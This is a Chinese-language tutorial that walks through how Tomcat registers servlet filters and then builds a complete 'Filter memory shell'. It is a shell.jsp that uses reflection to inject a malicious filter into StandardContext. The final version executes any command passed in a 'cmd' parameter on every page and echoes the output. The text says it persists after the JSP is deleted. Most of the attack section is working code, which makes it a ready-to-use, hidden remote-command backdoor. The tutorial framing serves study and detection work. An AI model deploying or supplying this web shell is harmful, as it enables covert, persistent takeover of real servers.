Filter内存马

Filter内存马通过向服务器后端注册恶意的过滤器以实现任意命令执行

Filter过滤器

正常情况下可以通过继承HttpFilter类并重写父类的doFilter()方法并通过web.xml文件配置实现一个过滤器

编写一个过滤器,功能是在识别具有cmd参数时向页面打印参数内容

public class CmdFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
res.setContentType("text/html; charset=utf-8");
res.setCharacterEncoding("utf-8");
res.getWriter().println("cmd="+cmd);
}else{
super.doFilter(req, res, chain);
}
}
}

配置web.xml,注册过滤器,在任意路径进行拦截

<filter>
<filter-name>cmdFilter</filter-name>
<filter-class>org.example.filter.CmdFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>cmdFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

启动Tomcat服务器,最终效果如下

mem1

逆向Filter注册

正常情况下想要创建一个新过滤器,需要在后端编写过滤器源码、更新配置文件、重启服务器等操作。然而在攻击角度上看,我们不可能通过修改后端源码的方式去注册一个恶意Filter。所以一般情况下,我们需要将一个jsp文件上传至后端,通过访问该jsp文件执行后端代码注册Filter

接下来需要知道如何在程序运行时动态注册Filter

步入父类HttpFilterdoFilter()方法,发现从public修饰的doFilter()跳到了protected修饰的doFilter()

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
if (!(req instanceof HttpServletRequest && res instanceof HttpServletResponse)) {
throw new ServletException("non-HTTP request or response");
}

this.doFilter((HttpServletRequest) req, (HttpServletResponse) res, chain);
}

protected修饰的doFilter()调用了chain的doFilter()

protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain)
throws IOException, ServletException {
chain.doFilter(req, res);
}

chain是一个ApplicationFilterChian实例,其filters字段是一个数组,保存着注册的Filter

mem2

ApplicationFilterChian类的doFilter()方法中,最后都会执行internalDoFilter()方法

public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;

try {
AccessController.doPrivileged(() -> {
this.internalDoFilter(req, res);
return null;
});
} catch (PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException) {
throw (ServletException)e;
}

if (e instanceof IOException) {
throw (IOException)e;
}

if (e instanceof RuntimeException) {
throw (RuntimeException)e;
}

throw new ServletException(e.getMessage(), e);
}
} else {
this.internalDoFilter(request, response);
}

}

internalDoFilter()方法中,可以一窥Filter的工作机制。该方法从数组中每获取一个Filter后,指针就会顺移到下一个Filter,在internalDoFilter()内部又会执行当前取出Filter的doFIlter(),每次执行完doFIlter()后又会回到该方法,而这时数组的指针已经指向下一个Filter了,直至所有Filter完成拦截

private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];

try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}

if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}

} catch (ServletException | RuntimeException | IOException e) {
throw e;
} catch (Throwable t) {
Throwable filter = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(filter);
throw new ServletException(sm.getString("filterChain.filter"), filter);
}
} else {
try {
if (this.dispatcherWrapsSameObject) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !this.servletSupportsAsync) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}

if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response};
SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
} else {
this.servlet.service(request, response);
}
} catch (ServletException | RuntimeException | IOException e) {
throw e;
} catch (Throwable t) {
Throwable filterConfig = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(filterConfig);
throw new ServletException(sm.getString("filterChain.servlet"), filterConfig);
} finally {
if (this.dispatcherWrapsSameObject) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}

}

}
}

还可以发现,filters是一个ApplicationFilterConfig数组而不是Filter数组,要对取出的ApplicationFilterConfig调用getFilter()方法才能获取Filter实例。当前的目标是得知filters在何时被赋值,因为该字段的声明中一开始是一个空数组

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

发现ApplicationFilterChainaddFilter()方法实现了对该字段的赋值

void addFilter(ApplicationFilterConfig filterConfig) {
for(int i = 0; i < this.n; ++i) {
if (this.filters[i] == filterConfig) {
return;
}
}

if (this.n == this.filters.length) {
this.filters = (ApplicationFilterConfig[])Arrays.copyOf(this.filters, this.n + 10);
}

this.filters[this.n++] = filterConfig;
}

查找调用了该方法的类,在ApplicationFilterFactory类的creatFilterChain()中调用了该方法

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject());
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = FilterUtil.getRequestPath(request);
String servletName = wrapper.getName();

for(FilterMap filterMap : filterMaps) {
if (matchDispatcher(filterMap, dispatcher) && FilterUtil.matchFiltersURL(filterMap, requestPath)) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()}));
} else {
filterChain.addFilter(filterConfig);
}
}
}

for(FilterMap filterMap : filterMaps) {
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()}));
} else {
filterChain.addFilter(filterConfig);
}
}
}

return filterChain;
} else {
return filterChain;
}
}
}

方法中,filterChain作为ApplicationFilterChain实例被声明,而后被赋值为filterConfigfilterConfigcontext.findFilterConfig(filterMap.getFilterName())获取。所以从根本上filters字段的元素从StandardContext中获取

StandardContext类中,findFilterConfig()方法指向filterConfigs字段,该字段为一个Map集合

private final Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();

调试可以发现,这个Map的键保存Filter的名称,值为FilterConfig对象

mem3

所以,获取StandardContext类,通过反射修改filterConfigs这个Map,使其包含我们的恶意ApplicationFilterConfig

进入ApplicationFilterConfig类,发现该类构造器需要一个FilterDefFilterDef相当于配置文件中定义Filter名称和类路径的内容,并且后续调用addFilterMap()时会调用FilterDef进行检查

public void addFilterMap(FilterMap filterMap) {
this.validateFilterMap(filterMap);
this.filterMaps.add(filterMap);
this.fireContainerEvent("addFilterMap", filterMap);
}

调用了validateFilterMap()

mem4

因而设置FilterDef是必要的,NameFilter两个字段是必须的,Filter用于提供现有实例,因为运行时一般不会再进行类加载,FilterClass字段经过我的测试并不是必须的,但考虑到后面可能会出现的空指针,这里可以随便设置一个,设置完后将其加入context

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("CmdFilter");
filterDef.setFilterClass(cmdFilter.getClass().getName());
filterDef.setFilter(new CmdFilter());
context.addFilterDef(filterDef);

而且我们还可以通过走FilterDef去给ApplicationFilterConfig传递Filter对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
context.getInstanceManager().newInstance(this.filter);
this.initFilter();
}

}

此外,creatFilterChain()方法中通过filterMap.getFilterName()来查找FilterConfigs,故还需要添加一个新FilterMap进入context,通常只需设置FilterNameURLPattern即可

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("CmdFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

构造Filter内存马

完事具备,接下来着手构建内存马触发页面shell.jsp,首先要获取StandardContext

ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

创建恶意Filter,让它弹个计算器

public class CmdFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Runtime.getRuntime().exec("calc");
}else{
super.doFilter(req, res, chain);
}
}
}

创建恶意ApplicationFilterConfig,并让新FilterMap进入context

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("CmdFilter");
filterDef.setFilterClass(cmdFilter.getClass().getName());
filterDef.setFilter(new CmdFilter());
context.addFilterDef(filterDef);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(context, filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("CmdFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

将恶意ApplicationFilterConfig加入filterConfigs

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(context);
filterConfigs.put("CmdFilter", filterConfig);

完整的shell.jsp

<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%!
public class CmdFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Runtime.getRuntime().exec("calc");
} else {
super.doFilter(req, res, chain);
}
}
}
%>
<%
try {
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

CmdFilter cmdFilter = new CmdFilter();

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("CmdFilter");
filterDef.setFilterClass(cmdFilter.getClass().getName());
filterDef.setFilter(cmdFilter);
context.addFilterDef(filterDef);

Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("CmdFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(context);
filterConfigs.put("CmdFilter", filterConfig);

response.getWriter().write("success");
} catch (Exception e) {
e.printStackTrace();
}
%>

执行成功,理论上任意界面存在cmd参数都可执行,且在jsp文件删除后依然有效

mem5

内存马回显技术

采用输入输出流进行页面打印

<%!
public class CmdFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html;charset=UTF-8");
res.getWriter().println(output);
} else {
super.doFilter(req, res, chain);
}
}
}
%>

对于Linux系统,ProcessBuilder的参数为("/bin/sh", "-h", cmd)